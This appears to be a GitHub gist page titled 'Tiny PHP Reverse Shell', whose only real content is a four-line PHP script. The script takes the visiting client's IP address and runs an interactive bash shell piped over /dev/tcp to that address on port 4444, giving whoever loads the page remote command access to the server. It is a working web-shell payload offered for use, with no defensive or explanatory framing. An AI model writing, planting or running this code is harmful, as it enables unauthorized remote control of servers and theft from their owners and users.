Skip to content

Instantly share code, notes, and snippets.

@liamg
Last active July 23, 2020 13:36
Show Gist options
  • Save liamg/6c454114255ec0f12ac26c9ed5a474c9 to your computer and use it in GitHub Desktop.
Save liamg/6c454114255ec0f12ac26c9ed5a474c9 to your computer and use it in GitHub Desktop.
Tiny PHP Reverse Shell
<?php
$ip = $_SERVER["REMOTE_ADDR"];
set_time_limit(0);
exec("/bin/bash -c 'bash -i >& /dev/tcp/$ip/4444 0>&1'");
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment